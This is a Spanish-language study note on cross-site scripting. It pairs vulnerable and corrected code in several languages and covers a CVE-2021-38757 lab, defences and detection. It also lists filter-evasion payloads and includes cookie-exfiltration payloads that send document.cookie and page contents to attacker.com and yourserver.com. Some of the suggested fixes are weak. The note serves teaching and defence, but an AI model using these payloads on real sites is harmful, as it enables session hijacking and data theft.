public void Page_Load(object sender, EventArgs e){ var userInput = Request.QueryString["q"]; Response.Write("User Input: " + userInput);}Explicación: Request.QueryString devuelve una colección de claves y valores de cadena. Sin sanitización, es vulnerable a XSS.
C# (ASP.NET) — Código corregido
using System.Web;
public void Page_Load(object sender, EventArgs e){ var userInput = Request.QueryString["q"]; var encodedInput = HttpUtility.HtmlEncode(userInput); Response.Write("User Input: " + encodedInput);}Solución: HttpUtility.HtmlEncode() convierte caracteres como <, >, & en su respectiva codificación de entidad HTML.
XSS Almacenado (Stored XSS) — Ejemplos de código
XSS almacenado ocurre cuando la información proporcionada por el usuario se guarda en un almacén de datos (BD) y posteriormente se incluye en las páginas web que se muestran a otros usuarios sin el escape adecuado.
Mejores prácticas para prevenir Stored XSS
- Validar y sanitizar la entrada: Definir reglas claras y aplicar validación estricta (ej. solo alfanuméricos en nombres de usuario)
- Usar escape de salida: Codificar todos los caracteres específicos de HTML al mostrar
- Aplicar codificación específica del contexto: JavaScript, URL, CSS según corresponda
- Practicar defensa en profundidad: No confiar en una sola capa; validación server-side
PHP — Código vulnerable
// Storing user comment$comment = $_POST['comment'];mysqli_query($conn, "INSERT INTO comments (comment) VALUES ('$comment')");
// Displaying user comment$result = mysqli_query($conn, "SELECT comment FROM comments");while ($row = mysqli_fetch_assoc($result)) { echo $row['comment'];}Problemas:
- XSS almacenado: el comentario se guarda y se muestra sin sanitizar
- Inyección SQL (fuera del alcance de esta nota)
PHP — Código corregido
// Storing user comment$comment = mysqli_real_escape_string($conn, $_POST['comment']);mysqli_query($conn, "INSERT INTO comments (comment) VALUES ('$comment')");
// Displaying user comment$result = mysqli_query($conn, "SELECT comment FROM comments");while ($row = mysqli_fetch_assoc($result)) { $sanitizedComment = htmlspecialchars($row['comment']); echo $sanitizedComment;}Solución XSS: Antes de mostrar cada comentario, lo pasamos por htmlspecialchars() para garantizar que todos los caracteres especiales se conviertan en entidades HTML.
Nota SQL Injection: mysqli_real_escape_string() escapa caracteres especiales para uso seguro en SQL.
JavaScript (Node.js) — Código vulnerable
app.get('/comments', (req, res) => { let html = '<ul>'; for (const comment of comments) { html += `<li>${comment}</li>`; } html += '</ul>'; res.send(html);});Problema: Lee comentarios guardados y los muestra como HTML sin sanitizar.
JavaScript (Node.js) — Código corregido
const sanitizeHtml = require('sanitize-html');
app.get('/comments', (req, res) => { let html = '<ul>'; for (const comment of comments) { const sanitizedComment = sanitizeHtml(comment); html += `<li>${sanitizedComment}</li>`; } html += '</ul>'; res.send(html);});Solución: Sanitizar el HTML antes de mostrarlo. Permitir formatos básicos (negrita <b>, cursiva <i>) pero eliminar elementos peligrosos (<script>, <onload>).
Python (Flask) — Código vulnerable
from flask import Flask, request, render_template_stringfrom flask_sqlalchemy import SQLAlchemy
app = Flask(__name__)app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'db = SQLAlchemy(app)
class Comment(db.Model): id = db.Column(db.Integer, primary_key=True) content = db.Column(db.String, nullable=False)
@app.route('/comment', methods=['POST'])def add_comment(): comment_content = request.form['comment'] comment = Comment(content=comment_content) db.session.add(comment) db.session.commit() return 'Comment added!'
@app.route('/comments')def show_comments(): comments = Comment.query.all() return render_template_string(''.join(['<div>' + c.content + '</div>' for c in comments]))Problemas:
comment_contentse guarda sin sanitizar- Comentarios se muestran sin escape
Python (Flask) — Código corregido
from flask import Flask, request, render_template_string, escapefrom flask_sqlalchemy import SQLAlchemyfrom markupsafe import escape
app = Flask(__name__)app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'db = SQLAlchemy(app)
class Comment(db.Model): id = db.Column(db.Integer, primary_key=True) content = db.Column(db.String, nullable=False)
@app.route('/comment', methods=['POST'])def add_comment(): comment_content = request.form['comment'] comment = Comment(content=comment_content) db.session.add(comment) db.session.commit() return 'Comment added!'
@app.route('/comments')def show_comments(): comments = Comment.query.all() sanitized_comments = [escape(c.content) for c in comments] return render_template_string(''.join(['<div>' + comment + '</div>' for comment in sanitized_comments]))Solución: Usar escape() para que caracteres especiales (&, <, >, ', ") se conviertan en entidades HTML.
C# (ASP.NET) — Código vulnerable
public void SaveComment(string userComment){ var command = new SqlCommand("INSERT INTO Comments (Comment) VALUES ('" + userComment + "')", connection); // Execute the command}
public void DisplayComments(){ var reader = new SqlCommand("SELECT Comment FROM Comments", connection).ExecuteReader(); while (reader.Read()) { Response.Write(reader["Comment"].ToString()); } // Execute the command}Problemas:
- XSS almacenado
- Inyección SQL
C# (ASP.NET) — Código corregido
using System.Web;
public void SaveComment(string userComment){ var command = new SqlCommand("INSERT INTO Comments (Comment) VALUES (@comment)", connection); command.Parameters.AddWithValue("@comment", userComment);}
public void DisplayComments(){ var reader = new SqlCommand("SELECT Comment FROM Comments", connection).ExecuteReader(); while (reader.Read()) { var comment = reader["Comment"].ToString(); var sanitizedComment = HttpUtility.HtmlEncode(comment); Response.Write(sanitizedComment); } reader.Close();}Solución XSS: HttpUtility.HtmlEncode() antes de mostrar userComment.
Solución SQL Injection: Consultas parametrizadas con Parameters.AddWithValue().
XSS basado en DOM (DOM-based XSS)
XSS basado en DOM es cada vez más escaso debido a las mejoras de seguridad inherentes en los navegadores web modernos. Este tipo de XSS se basa completamente en el navegador y no necesita ir al servidor ni regresar al cliente.
¿Qué es el DOM?
El Document Object Model (DOM) es una interfaz de programación que representa un documento web como un árbol. El DOM permite acceder y manipular programáticamente las diferentes partes de un sitio web mediante JavaScript.
Ejemplo de estructura DOM:
document ├─ <!DOCTYPE html> └─ html ├─ head │ ├─ title │ ├─ meta │ └─ style └─ body └─ div ├─ h1 └─ p └─ aPuedes ver el árbol DOM con las Herramientas para Desarrolladores Web (Inspector):
- Firefox:
Ctrl + Shift + I→ pestaña Inspector - Chrome/Edge:
Ctrl + Shift + I→ pestaña Elements
Manipulación del DOM con JavaScript
Con JavaScript, se puede manipular el árbol DOM:
let div = document.createElement("div");let p = document.createElement("p");div.append(p);
console.log(div.childNodes); // NodeList [ <p> ]Sitio “estático” vulnerable (DOM XSS)
<!DOCTYPE html><html><head> <title>Vulnerable Page</title></head><body> <div id="greeting"></div> <script> const name = new URLSearchParams(window.location.search).get('name'); document.write("Hello, " + name); </script></body></html>URL normal:
http://example.com/page.html?name=WebTesterResultado: “Hello, WebTester”
URL maliciosa:
http://example.com/page.html?name=<script>alert("XSS")</script>Resultado: Se ejecuta el script y se modifica el DOM añadiendo un nuevo elemento <script>.


Observaciones:
- El servidor no tiene un rol directo
- El DOM fue modificado de forma insegura usando
document.write()
Sitio “estático” corregido
<!DOCTYPE html><html><head> <title>Secure Page</title></head><body> <div id="greeting"></div> <script> const name = new URLSearchParams(window.location.search).get('name'); // Escape the user input to prevent XSS attacks const escapedName = encodeURIComponent(name); document.getElementById("greeting").textContent = "Hello, " + escapedName; </script></body></html>Soluciones aplicadas:
- Evitar
document.write()para añadir entrada del usuario directamente - Escapar la entrada con
encodeURIComponent() - Usar
textContenten lugar deinnerHTML

Resultado: El código JavaScript se muestra como caracteres codificados y no presenta amenaza.
Lab práctico: Hospital Management System (CVE-2021-38757)
Este es un ejemplo real de una vulnerabilidad XSS almacenada descubierta en un proyecto funcional.
Descripción del lab
- Proyecto vulnerable: Hospital Management System
- CVE: CVE-2021-38757
- Estado: No ha recibido parches desde el descubrimiento
- Tipo: XSS almacenado
- Exploit publicado: https://packetstormsecurity.com/files/163869/Hospital-Management-System-Cross-Site-Scripting.html
Pasos para explotar la vulnerabilidad
- Acceder a la página de Contacto del sitio vulnerable
- Introducir datos:
- Nombre
- Número de teléfono
- Mensaje (campo vulnerable):
<script>alert("Simple XSS")</script>
- Enviar el formulario
- Iniciar sesión como recepcionista:
- Usuario:
admin - Contraseña:
admin123
- Usuario:
- Visualizar mensajes: El payload se ejecuta en el navegador del recepcionista
Código vulnerable (contact.php)
<?php$con=mysqli_connect("localhost","root","","myhmsdb");if(isset($_POST['btnSubmit'])){ $name = $_POST['txtName']; $email = $_POST['txtEmail']; $contact = $_POST['txtPhone']; $message = $_POST['txtMsg'];
$query="insert into contact(name,email,contact,message) values('$name','$email','$contact','$message');";
//...}Problema: El mensaje enviado por el usuario se guarda sin desinfectar en la tabla de la base de datos. Cuando el recepcionista visualiza los mensajes, el script se ejecuta.
Lecciones aprendidas
- Nunca confiar en la entrada del usuario: Siempre sanitizar/escapar
- Validar en ambos lados: Cliente y servidor
- Aplicar encoding al mostrar: Usar funciones como
htmlspecialchars()al renderizar - Mantener software actualizado: Aplicar parches de seguridad
Técnicas de evasión de filtros XSS
Cuando existen filtros que bloquean payloads XSS, se pueden usar diversas técnicas para evadirlos.
Recursos útiles
- XSS Payload List: https://github.com/payloadbox/xss-payload-list
- Tiny XSS Payloads: https://github.com/terjanq/Tiny-XSS-Payloads (para restricciones de longitud)
- OWASP XSS Filter Evasion Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
Fragmentación de payload con caracteres especiales
Si las cargas útiles XSS se bloquean según listas de bloqueo específicas, podemos fragmentar el payload con:
- Tabulación horizontal (TAB):
\x09 - Nueva línea (LF):
\x0A - Retorno de carro (CR):
\x0D
Ejemplo de payload original:
<IMG SRC="javascript:alert('XSS');">Payloads fragmentados:
<IMG SRC="jav	ascript:alert('XSS');"><IMG SRC="jav
ascript:alert('XSS');"><IMG SRC="jav
ascript:alert('XSS');">Variaciones de codificación
HTML Entity Encoding:
<img src=x onerror="alert(1)">Unicode Encoding:
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>Hex Encoding:
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script>Bypass de filtros comunes
Mayúsculas/minúsculas mixtas:
<ScRiPt>alert(1)</sCrIpT>Etiquetas alternativas:
<svg onload=alert(1)><iframe src="javascript:alert(1)"><img src=x onerror=alert(1)><body onload=alert(1)>Sin espacios:
<script>alert(1)</script><img/src=x/onerror=alert(1)>Tiny payloads (restricciones de longitud)
Cuando hay limitación basada en la longitud:
<script>alert(1)</script> // 28 caracteres<svg onload=alert(1)> // 21 caracteres<script src=//⑮.₨></script> // Muy corto (usando Unicode)Nota importante: Hay cientos de técnicas de evasión. La elección dependerá de la seguridad del objetivo y requerirá prueba y error antes de lograr un resultado exitoso.
Pre-requisitos (condiciones frecuentes)
- El input del usuario llega a un sink ejecutable
- Falta de encoding/sanitización adecuada al contexto
- Falta de controles de defensa en profundidad (CSP, cookies seguras, aislamiento)
Impacto (técnico + negocio)
Impacto técnico (depende del contexto)
- Ejecución de JavaScript en el navegador (lectura/modificación del DOM)
- Suplantación de acciones dentro de la sesión (si la app no tiene controles adicionales)
- Robo de información visible en la UI (p.ej., datos en el DOM)
- Defacement (modificación de contenido mostrado)
Impacto de negocio
- Compromiso de cuentas y fraude (si las acciones son sensibles)
- Exfiltración de datos mostrados (PII, datos operativos)
- Daño reputacional y pérdida de confianza
- Incumplimiento regulatorio (GDPR, PCI DSS)
Defensa en profundidad que reduce impacto
- Cookies HttpOnly: Evita lectura directa de cookies por JavaScript
- Cookies SameSite: Reduce ataques de sesión/acciones + CSRF defenses
- Content Security Policy (CSP): Reduce ejecución de scripts inline y carga de dominios no permitidos
Indicadores (señales / IoCs)
En la aplicación
- Respuestas que reflejan input sin encoding
- Páginas con contenido generado por usuario (comentarios, perfiles, tickets) sin sanitización
En WAF/Proxy/Logs
- Parámetros con tags HTML, atributos
on..., strings sospechosos repetidos - Picos de errores 400/500 en endpoints donde se “rompe” el HTML
- Reportes de CSP (si está habilitado
report-uri/report-to)
Mitigación / Controles (prioridad)
1. Output Encoding correcto (por contexto)
Regla principal: Escapar al salir (output encoding) es el control principal cuando se renderiza input en HTML.
HTML context:
- Escapar
& < > " ' - Usar funciones:
htmlspecialchars()(PHP),HttpUtility.HtmlEncode()(C#),escape()(Python)
Attribute context:
- Escapar y además validar allowlists para atributos sensibles (
href,src)
JavaScript context:
- Evitar concatenación
- Usar serialización segura (
JSON.stringify) - Usar frameworks que separan datos/código
2. Evitar sinks peligrosos en el frontend
Sinks a evitar:
innerHTML,outerHTMLdocument.write()eval()setTimeout(string),setInterval(string)
Alternativas seguras:
- Usar
textContenten lugar deinnerHTML - Si se necesita HTML (rich text), usar sanitizador robusto: DOMPurify
3. Content Security Policy (CSP)
Usar CSP para reducir impacto si ocurre XSS:
Buenas prácticas CSP:
- Bloquear inline scripts (preferir nonces/hashes)
- Restringir
script-srca dominios controlados - Evitar
unsafe-inlineyunsafe-eval - Empezar con
Content-Security-Policy-Report-Onlypara medir antes de bloquear
Ejemplo de CSP restrictiva:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self'; img-src 'self' https://trusted-cdn.com4. Cookies y sesión seguras
- HttpOnly: Previene acceso a cookies desde JavaScript
- Secure: Solo envía cookies sobre HTTPS
- SameSite: Mitiga CSRF y algunos XSS
- Rotación de sesión
- Short TTL
- Re-autenticación para acciones críticas
5. Validación de entrada (complementario)
Importante: La validación de entrada NO sustituye encoding/sanitización, pero ayuda:
- Allowlists para campos con formato (nombres, IDs, enums)
- Rechazo de HTML donde no aplica
- Validación de tipo y longitud
Detección (SIEM/WAF/logs)
Logs necesarios
- Logs de aplicación:
request_id, usuario, ruta, parámetros (minimizando PII), status code, latencia - Logs de WAF/proxy: Eventos bloqueados, patrones detectados
- Reportes CSP: Endpoint de recolección de violaciones CSP
Ideas prácticas de detección
- Alertas por repetición de patrones: Misma IP/usuario probando variaciones de payloads
- Alertas por alto ratio de errores: Endpoints con reflejo de input y muchos errores
- Monitoreo de CSP reports: Picos en reportes (indicador temprano de intentos XSS)
- Detección de caracteres sospechosos:
<script>,onerror=,javascript:,<iframe>en parámetros
Cómo probar (solo laboratorio / permiso)
- Identificar puntos de entrada: Campos de búsqueda, comentarios, perfiles, headers personalizados
- Comprobar reflejo/almacenamiento: ¿El contenido se renderiza como texto (seguro) o como HTML/JS (riesgo)?
- Validar el contexto exacto: HTML body / atributo / JS / URL antes de concluir mitigación
- Capturar evidencia reproducible: Request/response + captura de UI/DevTools
Herramientas útiles
- Burp Suite: Interceptar/modificar requests → Burp Suite
- OWASP ZAP: Escáner automatizado → OWASP ZAP
- DevTools del navegador: Inspección de DOM, Console, Network, CSP
Ejemplos / Payloads (solo educativos)
Objetivo: Confirmar ejecución en entorno controlado.
Payloads básicos de prueba de concepto
<!-- Básico --><script>alert(1)</script>
<!-- Con imagen -->"><img src=x onerror=alert(1)>
<!-- SVG --><svg onload=alert(1)>
<!-- Iframe --><iframe src="javascript:alert(1)">
<!-- Body onload --><body onload=alert(1)>
<!-- Dentro de atributos -->" onerror="alert(1)' onerror='alert(1)
<!-- Exfiltración de cookies --><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>Documentación del hallazgo
Si alguno ejecuta, documentar:
- Dónde entra (source) y dónde termina (sink)
- En qué contexto se ejecuta (HTML, atributo, JS)
- Qué control faltó (encoding/sanitización/CSP)
Blind XSS (validación)
En Blind XSS, el payload se ejecuta en otro contexto (p.ej., panel interno/admin) y el atacante no ve la ejecución directamente.
Estrategia práctica
- Añadir callback controlado: Para saber si/cuándo se ejecutó
- Usar herramientas especializadas:
- XSS Hunter Express: https://github.com/mandatoryprogrammer/xsshunter-express
- Burp Collaborator
Payload de ejemplo:
<script src="https://yourserver.com/xss.js"></script>Contenido de xss.js:
fetch('https://yourserver.com/report', { method: 'POST', body: JSON.stringify({ url: window.location.href, cookie: document.cookie, dom: document.documentElement.outerHTML })});- Registrar la evidencia y luego analizar impacto
Pitfalls / Errores comunes
- “Sanitizar” con regex casera: Bypasseable; usar bibliotecas robustas
- Confiar en WAF como solución principal: WAF es defensa en profundidad, no reemplazo de código seguro
- Aplicar encoding incorrecto al contexto: HTML vs JS vs atributo vs URL
- Permitir HTML “limitado” sin sanitizador robusto: Difícil de hacer bien manualmente
- CSP demasiado permisiva:
unsafe-inline,*no reduce el riesgo efectivamente - Solo validar en el cliente: La validación cliente-side es bypasseable; validar server-side
- No usar HttpOnly en cookies de sesión: Permite robo de cookies vía XSS
Diagrama de flujo del ataque
sequenceDiagram
participant A as Atacante
participant W as WebApp vulnerable
participant V as Víctima (Browser)
A->>W: Envía input malicioso (URL/formulario/almacenado)
W-->>V: Respuesta con input sin encoding/sanitización
V->>V: El navegador interpreta/ejecuta script (XSS)
V-->>W: Acciones/requests como la víctima (según contexto)
Note over V: Puede resultar en: robo de sesión,<br/>exfiltración de datos, defacement,<br/>instalación de malware
Integración con otras notas
- Checklist web: Web App Testing Checklist (OWASP-inspired)
- API Security: OWASP API Security Top 10 (2019)
- OWASP Top 10: OWASP Top 10 (2025)
- Principios: Defense in Depth
- Threat modeling: Threat Modeling
- DevSecOps: DevSecOps
- Secure SDLC: Secure SDLC (SSDLC)
- DAST: DAST (Dynamic Application Security Testing)
- Herramientas: Burp Suite, OWASP ZAP
Oficiales y estándares
- OWASP XSS: https://owasp.org/www-community/attacks/xss/
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- OWASP XSS Filter Evasion Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
- PortSwigger Web Security Academy - XSS: https://portswigger.net/web-security/cross-site-scripting
Recursos históricos
- CERT Advisory CA-2000-02 (1999): https://vuls.cert.org/confluence/display/historical/CERT+Advisory+CA-2000-02+Malicious+HTML+Tags+Embedded+in+Client+Web+Requests
Labs y práctica
- TryHackMe - Cross-site Scripting: https://tryhackme.com/room/xss
- TryHackMe - XSS Advanced: (Contenido de esta nota)
CVEs y exploits reales
- CVE-2021-38757 (Hospital Management System): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38757
- Exploit Hospital Management System: https://packetstormsecurity.com/files/163869/Hospital-Management-System-Cross-Site-Scripting.html
Payloads y técnicas
- XSS Payload List: https://github.com/payloadbox/xss-payload-list
- Tiny XSS Payloads: https://github.com/terjanq/Tiny-XSS-Payloads
Herramientas y bibliotecas
- sanitize-html (Node.js): https://www.npmjs.com/package/sanitize-html
- escape-html (Node.js): https://github.com/component/escape-html
- DOMPurify: https://github.com/cure53/DOMPurify
- PHP htmlspecialchars(): https://www.php.net/htmlspecialchars
- OWASP ASVS (Application Security Verification Standard) - controles de output encoding y XSS
- XSS Hunter Express - herramienta para Blind XSS
- MDN Web Docs - Document Object Model (DOM)
- NIST SP 800-53 - Controles de seguridad relacionados con validación de entrada